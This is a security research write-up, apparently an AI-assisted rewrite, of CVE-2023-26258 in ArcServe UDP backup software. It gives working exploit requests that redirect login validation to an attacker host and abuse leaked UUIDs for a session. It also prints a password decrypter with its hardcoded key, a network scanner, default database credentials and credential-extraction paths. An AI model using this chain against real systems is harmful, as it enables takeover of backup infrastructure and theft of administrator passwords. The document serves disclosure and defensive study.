Skip to content
Access control Write-up Advanced

CVE-2023-26258 – Remote Code Execution in ArcServe UDP Backup

ArcServe UDP versions 7.0 to 9.0 contain an authentication bypass in the GWT RPC login flow, where the server-side validateUser method trusts a client-supplied host and protocol to contact an external WebService for credential validation. An attacker can redirect this call to their own server, obtain a valid session, and then retrieve the administrator password in encrypted form.

X-C3LL Follow

Published on mdsec.co.uk

Our best in class red team can deliver a holistic cyber attack simulation to provide a true evaluation of your organisation’s cyber resilience.](https://www.mdsec.co.uk/our-services/adversary-simulation/) - [{{media:1}}

Admin, on mdsec.co.uk

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 20 min read.

Context

ArcServe UDP is backup software. During a ransomware scenario run by the MDSec ActiveBreach red team, the objective was to compromise the organisation's backup infrastructure, and Juan Manuel Fernandez and Sean Doherty analysed the software used to perform those backups. Within minutes of analysing the code they found a critical authentication bypass that gave access to the administration interface.

The vulnerability affects versions 7.0 to 9.0. The administrative web interface is a GWT application that talks to a backend over GWT RPC, and the backend in turn acts as a proxy to a SOAP WebService that performs the actual credential validation. The bypass lives in the way the web tier decides where that WebService is.

Setup

The instance was reachable at [redacted]:8014 over HTTPS, with a second address [redacted]:8014 used for direct SOAP requests. The account used throughout is vagrant in the domain SEVENKINGDOMS, with the password adepts. The relevant code lives in flash-webui.jar on the web tier and in edge-app-base-webservice-impl.jar for the decryption helper. The native decryption routine is in AFCoreFunction.dll.

No special access is needed to reach the login endpoint; the whole point of the finding is that it is reachable before authentication.

Finding it

While watching the HTTP traffic between the browser and the administrative interface, one request during login stood out. It is a GWT RPC call to validateUser whose body is a serialised object carrying, among other things, the protocol, the server hostname, the domain, the username and the password.

HTTP
POST /contents/service/login HTTP/1.1
Host: [redacted]:8014
Cookie: AGENTJSESSIONID=[redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/x-gwt-rpc; charset=utf-8
X-Gwt-Permutation: [redacted]
X-Gwt-Module-Base: <https://[redacted]:8014/contents/>
Content-Length: 245
Origin: <https://[redacted]:8014>
Referer: <https://[redacted]:8014/>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

7|0|10|https://[redacted]:8014/contents/|[redacted]|com.ca.arcflash.ui.client.login.LoginService|validateUser|java.lang.String/2004016611|I|https:|EPIPELAGIC|SEVENKINGDOMS|vagrant|adepts|1|2|3|4|6|5|5|6|5|5|5|7|8|8014|9|10|11|

In the serialised body, https: is the schema, EPIPELAGIC the server hostname, SEVENKINGDOMS the domain, vagrant the username and adepts the password.

The server-side implementation in flash-webui.jar explains what those values are used for:

Java
public Boolean validateUser(HttpServletRequest req, String protocol, String host, int port, String domain, String username, String password, String logindetail) throws BusinessLogicException, ServiceConnectException, ServiceInternalException {
    logger.debug("validateUser(HttpServletRequest, String, String, int, String, String, String, String) - start");
    if (StringUtil.isEmptyOrNull(username))
      throw generateException(FlashServiceErrorCode.Login_UsernameRequired);
    if (StringUtil.isEmptyOrNull(password))
      throw generateException(FlashServiceErrorCode.Login_PasswordRequired);
    HttpSession session = req.getSession();
    WebServiceClientProxy client = null;
    LoginDetail detail = null;
    try {
      logger.debug(protocol + host + port);
      client = (WebServiceClientProxy)ServiceProviders.getLocalFlashServiceProvider().create(protocol, host, port, "IFlashService_R16_5");
      setServiceClient(req, client);
      detail = client.getService().validateUserWithDetail(username, password, domain, logindetail);
      setLocalWebServiceClient(client);
    } catch (WebServiceException exception) {
      logger.error("Error occurs during validate user...");
      logger.error(exception.getMessage());
      if (exception.getCause() instanceof Error && exception.getMessage().startsWith("Undefined operation name"))
        throw generateException(FlashServiceErrorCode.EDGE_D2D_INTERFACE_MISMATCH);
      proccessAxisFaultException(exception);
    }
    HostInfo hostInfo = new HostInfo();
    hostInfo.setName(host);
    hostInfo.setUsername(username);
    session.setAttribute(SessionConstants.SRING_DOMAIN, domain);
    session.setAttribute(SessionConstants.SRING_USERNAME, username);
    session.setAttribute(SessionConstants.SRING_PASSWORD, password);
    session.setAttribute(SessionConstants.SRING_UUID, "");
    session.setAttribute(SessionConstants.SRING_LOGIN_DETAIL, detail);
    logger.debug("validateUser(HttpServletRequest, String, String, int, String, String, String, String) - end");
    return Boolean.TRUE;
  }

The method builds a client that acts as a proxy to a WebService responsible for validating the supplied credentials. The location of that WebService, and the schema (HTTP or HTTPS) used to reach it, come straight from the serialised object the client sent. That is the flaw: a value the user controls decides where the server sends its validation request.

Exploitation

Step 1: point the validation client at a host you control

If the request is intercepted and edited in transit, the serialised object can be changed so that the client contacts an HTTP server under the attacker's control. In the example, the host EPIPELAGIC is replaced with [redacted], the schema is switched to http:, and the port becomes 7777:

Text
7|0|10|https://[redacted]:8014/contents/|[redacted]|com.ca.arcflash.ui.client.login.LoginService|validateUser|java.lang.String/2004016611|I|http:|[redacted]|SEVENKINGDOMS|vagrant|1|2|3|4|6|5|5|6|5|5|5|7|8|7777|9|10|10|

A minimal HTTP server is started on that port to log whatever arrives:

Text
psyconauta@insulanova:/tmp|⇒  python3 loghttp.py 7777
Starting httpd...
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUser xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><arg0>vagrant</arg0><arg1>vagrant</arg1><arg2>SEVENKINGDOMS</arg2></ns2:validateUser></S:Body></S:Envelope>
[redacted] - - [04/Feb/2023 11:56:58] "POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1" 200 -
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfo xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"/></S:Body></S:Envelope>
[redacted] - - [04/Feb/2023 11:56:58] "POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1" 200 -

The server makes two SOAP requests to /WebServiceImpl/services/FlashServiceImpl: the first is validateUser, carrying the credentials, and the second is getVersionInfo, asking for additional information.

Step 2: query the real WebService without authentication

The getVersionInfo request can be copied and sent manually to the original WebService:

HTTP
POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1
Host: [redacted]:8014
Content-Length: 887

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfo xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"/></S:Body></S:Envelope>

The response leaks a lot of information without any authentication:

HTTP
HTTP/1.1 200
Date: Sat, 04 Feb 2023 11:03:22 GMT
Server: Apache
Content-Type: text/xml;charset=utf-8
Content-Length: 2853

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfoResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><ns2:return><ns5:majorVersion>9</ns5:majorVersion><ns5:minorVersion>0</ns5:minorVersion><ns5:buildNumber>6034</ns5:buildNumber><ns5:locale>en</ns5:locale><ns5:country></ns5:country><ns5:timeZoneID>America/Los_Angeles</ns5:timeZoneID><ns5:timeZoneOffset>-28800000</ns5:timeZoneOffset><ns5:adminName>SEVENKINGDOMS\\vagrant</ns5:adminName><ns5:localDriverLetters>C:\\</ns5:localDriverLetters><ns5:localADTPackage>-1</ns5:localADTPackage><ns5:productType>2</ns5:productType><ns5:edgeInfoCM><ns5:edgeHostName>kingslanding.[redacted]</ns5:edgeHostName><ns5:edgeUrl><https://kingslanding.[redacted]:8015/management/></ns5:edgeUrl></ns5:edgeInfoCM><ns5:dataFormat><ns5:timeFormat>h:mm:ss a</ns5:timeFormat><ns5:shortTimeFormat>h:mm a</ns5:shortTimeFormat><ns5:timeDateFormat>M/d/yyyy h:mm:ss a</ns5:timeDateFormat><ns5:dateFormat>M/d/yyyy</ns5:dateFormat></ns5:dataFormat><ns5:isX86>false</ns5:isX86><ns5:isHyperVRoleInstalled>false</ns5:isHyperVRoleInstalled><ns5:isDedupInstalled>false</ns5:isDedupInstalled><ns5:isWin8>true</ns5:isWin8><ns5:isReFsSupported>true</ns5:isReFsSupported><ns5:osName>Windows Server 2019 Datacenter Evaluation</ns5:osName><ns5:hostName>kingslanding</ns5:hostName><ns5:osMajorVersion>10</ns5:osMajorVersion><ns5:osMinorVersion>0</ns5:osMinorVersion><ns5:osBuildNumber>17763</ns5:osBuildNumber><ns5:uefiFirmware>false</ns5:uefiFirmware><ns5:SQLServerInstalled>true</ns5:SQLServerInstalled><ns5:ExchangeInstalled>false</ns5:ExchangeInstalled><ns5:D2DInstalled>true</ns5:D2DInstalled><ns5:ARCserveBackInstalled>false</ns5:ARCserveBackInstalled><ns5:RPSInstalled>true</ns5:RPSInstalled><ns5:settingConfiged>false</ns5:settingConfiged><ns5:dotNetVersion>4.7</ns5:dotNetVersion><ns5:displayVersion>9.0</ns5:displayVersion><ns5:isInCloud>false</ns5:isInCloud><ns5:nodeUUID>d5936919-6cc3-4c8a-b570-bbd39f75ca17</ns5:nodeUUID><ns5:authUUID>6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1</ns5:authUUID></ns2:return></ns2:getVersionInfoResponse></S:Body></S:Envelope>

The response gives the OS version and build number, the hostname, the domain and the name of the administrator account. It also returns an authUUID, which is the value that matters next.

Step 3: use the UUID to obtain a session

Back in flash-webui.jar, below validateUser, there is another method, validateUserByUuid:

Java
public Boolean validateUserByUuid(String uuid, String host, int port, String protocol) throws BusinessLogicException, ServiceConnectException, ServiceInternalException {
    logger.debug("validateUserByUuid(String, String, int, String) - start");
    if (StringUtil.isEmptyOrNull(uuid))
      throw generateException(FlashServiceErrorCode.Login_UUIDRequired);
    WebServiceClientProxy client = null;
    try {
      client = (WebServiceClientProxy)ServiceProviders.getLocalFlashServiceProvider().create(protocol, host, port, "IFlashService_R16_5");
      setServiceClient(req, client);
      client.getService().validateUserByUUID(uuid);
      setLocalWebServiceClient(client);
    } catch (WebServiceException exception) {
      logger.error("Error occurs during validate user by uuid...");
      logger.error(exception.getMessage());
      proccessAxisFaultException(exception, false);
    }
    getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_DOMAIN, "");
    getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_USERNAME, "");
    getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_UUID, uuid);
    getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_PASSWORD, "");
    logger.debug("validateUserByUuid(String, String, int, String) - end");
    return Boolean.TRUE;
  }

Grepping for the method name shows it is exposed by a WebService described in VirtualStandbyServiceImpl.wsdl, and that it takes a single argument:

XML
     <xs:complexType name="validateUserByUUID">
        <xs:sequence>
          <xs:element name="arg0" type="xs:string" minOccurs="0"/>
        </xs:sequence>
      </xs:complexType>

Sending the authUUID from the version response as that argument:

HTTP
POST /WebServiceImpl/services/VirtualStandbyServiceImpl HTTP/1.1
SOAPAction: "<http://webservice.arcflash.ca.com/IEdgeDashboardService/validateUserByUUIDRequest>"
Host: [redacted]:8014
Content-Length: 964

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUserByUUID xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><arg0>6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1</arg0></ns2:validateUserByUUID></S:Body></S:Envelope>

returns a session cookie:

HTTP
HTTP/1.1 200
Date: Fri, 03 Feb 2023 22:01:07 GMT
Server: Apache
Content-Type: text/xml;charset=utf-8
Set-Cookie: AGENTJSESSIONID=[redacted]; Path=/WebServiceImpl; Secure; HttpOnly
Content-Length: 324

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUserByUUIDResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://data.webservice.arcflash.ca.com/xsd>"><ns2:return>0</ns2:return></ns2:validateUserByUUIDResponse></S:Body></S:Envelope>

Step 4: retrieve the administrator password

With a valid administrator session, the WebService can be used to retrieve the administrator password. ArcServe provides a method called getLocalHostAsTrust that returns the encrypted password:

HTTP
POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1
Cookie: AGENTJSESSIONID=[redacted]
SOAPAction: "<http://webservice.arcflash.ca.com/IFlashService_R16_5/getVersionInfoRequest>"
Host: [redacted]:8014
Content-Length: 917

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getLocalHostAsTrust xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"></ns2:getLocalHostAsTrust></S:Body></S:Envelope>

The response contains the account name and the encrypted password:

HTTP
HTTP/1.1 200
Date: Sat, 04 Feb 2023 11:12:14 GMT
Server: Apache
Content-Type: text/xml;charset=utf-8
Content-Length: 1625

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getLocalHostAsTrustResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><ns2:return><ns5:name>KINGSLANDING</ns5:name><ns5:port>0</ns5:port><ns5:uuid>[redacted]/[redacted]</ns5:uuid><ns5:userName>vagrant</ns5:userName><ns5:password>[redacted]</ns5:password><ns5:type>0</ns5:type><ns5:d2dVersion>9</ns5:d2dVersion></ns2:return></ns2:getLocalHostAsTrustResponse></S:Body></S:Envelope>

Step 5: decrypt the password

To work out how the password is encrypted, the researchers looked at edge-app-base-webservice-impl.jar, which contains a class called XmlDecrypter:

Java
package com.ca.arcserve.edge.app.base.common;

import com.ca.arcflash.webservice.jni.WSJNI;
import java.io.IOException;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.transform.TransformerException;
import org.xml.sax.SAXException;

public class XmlDecrypter extends BaseXmlCrypt {
  public static final XmlDecrypter CommonDecrypter = new XmlDecrypter(new String[] { "uuid", ".*password", "encryptionkey", "access_token", "client_secret", "token_cache" });

  public XmlDecrypter(String[] matchTag) {
    super(matchTag);
  }

  protected String doEncrypt(String s) {
    return WSJNI.AFDecryptStringEx(s);
  }

  public String decryptXml_NoException(String xml) {
    return analyzeXml_NoException(xml);
  }

  public String decryptXml(String xml) throws ParserConfigurationException, SAXException, IOException, TransformerException {
    return analyzeXml(xml);
  }
}

doEncrypt calls a native function from WSJNI. Searching further, AFCoreFunction.dll contains a function called AFDecryptFromString with the following code inside (some parts were renamed during the reverse engineering process):

Text
1800dd8ac              CryptDecrypt_trucho = &CryptDecrypt_m;
1800dd8bf              int32_t var_48_2 = 0x18;
1800dd8c6              int32_t var_44_2 = 0x6610; //AES-256
1800dd8ec              if ((mandanga_buena(&CryptDecrypt_trucho, nullptr) >= 0 && (r14_1 != 0 && r14_1 <= rbx_2)))
1800dd8e9              {
1800dd8f2                  arg_10 = r14_1;
1800dd8f2              }
1800ddb3f              CryptDecrypt_trucho = &CryptDecrypt_m;
1800ddb6b              rbx_1 = 0xa;
1800ddb77              void* const var_a8_2 = "AFSrvConfig::SaveAdminAccount";
1800ddb8b              sub_18006e160(Username, 0, 0, "%s: Encrypt password failed");
1800ddb7c          }

The function renamed to mandanga_buena is shown below:

Text
1800ea2b0  uint64_t mandanga_buena(void* arg1, int16_t* arg2)
1800ea2b0  {
1800ea2c5      int32_t rsi = 0;
1800ea2c7      void* const rbx = arg2;
1800ea2d5      if ((arg2 == 0 || (arg2 != 0 && 0 == *(int16_t*)arg2)))
1800ea2d2      {
1800ea2d7          rbx = "Please input a valid password";
1800ea2d7      }
1800ea2e9      int32_t var_18 = 0xf0000000;
1800ea2f3      BOOL rax = CryptAcquireContextW(((char*)arg1 + 8), nullptr, nullptr, *(int32_t*)((char*)arg1 + 0x20), 0xf0000000);
1800ea2fb      enum WIN32_ERROR rax_1;
1800ea2fb      BOOL rax_2;
1800ea2fb      uint64_t rax_4;
1800ea2fb      if (rax == 0)
1800ea2f9      {
1800ea2fd          rax_1 = GetLastError();
1800ea308          if (rax_1 == 0x80090016)
1800ea303          {
1800ea315              var_18 = 0xf0000008;
1800ea31f              rax_2 = CryptAcquireContextW(((char*)arg1 + 8), nullptr, nullptr, *(int32_t*)((char*)arg1 + 0x20), 0xf0000008);
1800ea315          }
1800ea327          if ((rax_1 != 0x80090016 || (rax_1 == 0x80090016 && rax_2 == 0)))
1800ea325          {
1800ea329              rax_4 = -1;
1800ea329          }
1800ea327      if ((rax != 0 || ((rax == 0 && rax_1 == 0x80090016) && rax_2 != 0)))
1800ea325      {
1800ea344          void* r15_1 = ((char*)arg1 + 0x10);
1800ea34d          var_18 = r15_1;
1800ea35a          if (CryptCreateHash(*(int64_t*)((char*)arg1 + 8), 0x8003, nullptr, 0, var_18) == 0)
1800ea358          {
1800ea35c              rax_4 = 0xfffffffe;
1800ea35c          }
1800ea363          else
1800ea363          {
1800ea363              int64_t rax_5 = -1;
1800ea379              bool cond:0_1;
1800ea379              do
1800ea379              {
1800ea370                  cond:0_1 = *(int16_t*)(((char*)rbx + (rax_5 << 1)) + 2) != 0;
1800ea375                  rax_5 = (rax_5 + 1);
1800ea375              } while (cond:0_1);
1800ea390              if (CryptHashData(*(int64_t*)r15_1, rbx, ((int32_t)(rax_5 + rax_5)), 0) == 0)
1800ea38e              {
1800ea392                  rax_4 = 0xfffffffd;
1800ea392              }
1800ea3aa              else
1800ea3aa              {
1800ea3aa                  var_18 = ((char*)arg1 + 0x18);
1800ea3bf                  if (CryptDeriveKey(*(int64_t*)((char*)arg1 + 8), *(int32_t*)((char*)arg1 + 0x24), *(int64_t*)r15_1, 0x1000004, var_18) == 0)
1800ea3b8                  {
1800ea3bf                      rsi = -4;
1800ea3bf                  }
1800ea3c2                  rax_4 = ((uint64_t)rsi);
1800ea3c2              }
1800ea3c2          }
1800ea3c2      }
1800ea3de      return rax_4;
1800ea3de  }

The string Please input a valid password is used as the seed to build the key used later in CryptDecrypt. With that, a decrypter is straightforward:

C
#include <Windows.h>
#include <stdio.h>

int main(int argc, char** argv) {
	printf("\\t\\t-={ ArcServe Decryptor by Juan Manuel Fernandez (@TheXC3LL) }=-\\n\\n");
	HCRYPTPROV phProv = NULL;
	HCRYPTHASH phHash = NULL;
	HCRYPTKEY phKey = NULL;

	BYTE enc[] = { 133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98 }; // Text to decrypt (base64 decode and take everything after 0x80 bytes)

	BYTE key[] = { 0x50, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x61, 0x00, 0x73, 0x00, 0x65, 0x00, 0x20, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x61, 0x00, 0x20, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x64, 0x00, 0x20, 0x00, 0x70, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00 };
	DWORD pdwDataLen = sizeof(enc);

	if (!CryptAcquireContextW(&phProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
		printf("[!] CryptAcquireContextW Failed!\\n");
		exit(-1);
	}
	if (!CryptCreateHash(phProv, CALG_MD5, NULL, 0, &phHash)) {
		printf("[!] CryptCreateHash Failed!\\n");
		exit(-1);
	}
	if (!CryptHashData(phHash, key, 58, 0)) {
		printf("[!] CryptHashData Failed!\\n");
		exit(-1);
	}
	if (!CryptDeriveKey(phProv, CALG_AES_256, phHash, 16777220, &phKey)) {
		printf("[!] CryptDeriveKey Failed!\\n");
		exit(-1);
	}
	CryptDecrypt(phKey, NULL, TRUE, 0, &enc, &pdwDataLen);
	printf("[+] Decrypted string: %S", enc);
}

Step 6: find other instances

By default ArcServe uses the instance name ARCSERVE_APP, so the SQL Browser Service can be abused: a broadcast packet to UDP 1434 will get a reply from any host running that instance.

Python
#!/usr/bin/env python3
# ArcServeRadar by Juan Manuel Fernandez (@[redacted])

import sys
import threading
from scapy.all import *

udp_packet = bytearray.fromhex("0441524353455256455f415050") # ARCSERVE_APP

def ping(ip, iface, port):
    print("[*] Broadcasting")
    sendp(Ether()/IP(src=ip,dst="[redacted]")/UDP(dport=1434,sport=port)/Raw(load=udp_packet), verbose=False, iface=iface)

def check(pkt):
	origin = pkt[IP].src
	content = pkt[Raw].load
	if content != udp_packet:
		data = content[content.find(b"Server"):]
		print("\\t[+] " + origin + " => " + data.decode("utf-8"))

def monitor(iface, port):
	print("[*] Starting to monitor")
	sniff(prn=check, filter="port " + str(port), iface=iface)

if __name__ == "__main__":
    print("\\t\\t-=[ ArcServe Finder - @[redacted] ]=-\\n\\n")
    if len(sys.argv) != 4:
        print("[!] Error. Usage: python3 ArcServeRadar.py <interface> <originport> <originip>")
        exit(-1)
    iface = sys.argv[1]
    port = int(sys.argv[2])
    ip = sys.argv[3]
    x = threading.Thread(target=monitor, args=(iface,port,))
    x.start()
    ping(ip, iface, port)

Alternatively, the following default credentials can be used if they have not been changed:

Text
[MSSQL] Cleartext Username : arcserve_udp
[MSSQL] Cleartext Password : @rcserveP@ssw0rd

Running the scanner from a host on the local network:

Text
c:\\Users\\vagrant\\Desktop>python ArcServeRadar.py "Ethernet 2" 6969 [redacted]
                -=[ ArcServe Finder - @[redacted] ]=-

[*] Starting to monitor
[*] Broadcasting
WARNING: Mac address to reach destination not found. Using broadcast.
        [+] [redacted] => ServerName;KINGSLANDING;InstanceName;ARCSERVE_APP;IsClustered;No;Version;15.0.2000.5;tcp;62197;;

With default database credentials, the IP and port from the reply can be used to read the username and password and to locate the ArcServe instances:

Text
psyconauta@insulanova:/tmp|⇒  python3 arcserve-dbpwn.py -target [redacted] -port 62197
		-=[ ArcServe credential retriever (from DB) - Juan Manuel Fernandez (@TheXC3LL) ]=-

[*] Connecting to the server
[*] Login with default creds
[*] Extracting credentials:
	[+] User: SEVENKINGDOMS\\vagrant
	[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
	[+] User: SEVENKINGDOMS\\vagrant
	[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[*] Finding hosts:
	[+] [redacted] | kingslanding.[redacted] | Windows Server 2019 Datacenter Evaluation
	[+] [redacted] | kingslanding.[redacted] | NULL

 Have a nice day! ^_^

All the passwords retrieved by the tools can be decrypted with ArcServeDecrypter.exe: edit the C code to add the array, compile and run it.

Text
C:\\Users\\vagrant>C:\\Users\\vagrant\\source\\repos\\ArcServeDecrypter\\x64\\Debug\\ArcServeDecrypter.exe
                -={ ArcServe Decryptor by Juan Manuel Fernandez (@TheXC3LL) }=-

[+] Decrypted string: vagrant

Root cause

The web tier takes the protocol, host and port for the credential-validation WebService from the serialised GWT RPC object supplied by the client, and uses them to build the proxy client. Nothing ties those values to the server's own configuration, so an attacker who can edit the request in transit decides where the server sends its validation call. The same design exposes getVersionInfo without authentication, and the authUUID it returns is accepted by validateUserByUUID, which yields a session cookie.

The password protection is also weak: the encrypted password is returned by getLocalHostAsTrust to any holder of a session, and the decryption key is derived from the fixed string Please input a valid password rather than from a secret. The report does not describe any defence that would have stopped the bypass.

Impact

An attacker who can reach the administrative interface can obtain a valid administrator session without credentials, retrieve the administrator password in encrypted form, and decrypt it. The affected versions are 7.0 to 9.0. The same credentials can also be obtained through other paths when the vulnerability is patched, but those paths require privileges or default credentials: reading as_edge_connect_info and as_edge_host from MSSQL when the database still uses default credentials, or reading the AdminUser and AdminPassword values under HKEY_LOCAL_MACHINE\\SOFTWARE\\Arcserve\\Unified Data Protection\\Engine with enough privileges to use the Remote Registry service.

SQL
select username,password from as_edge_connect_info;
SQL
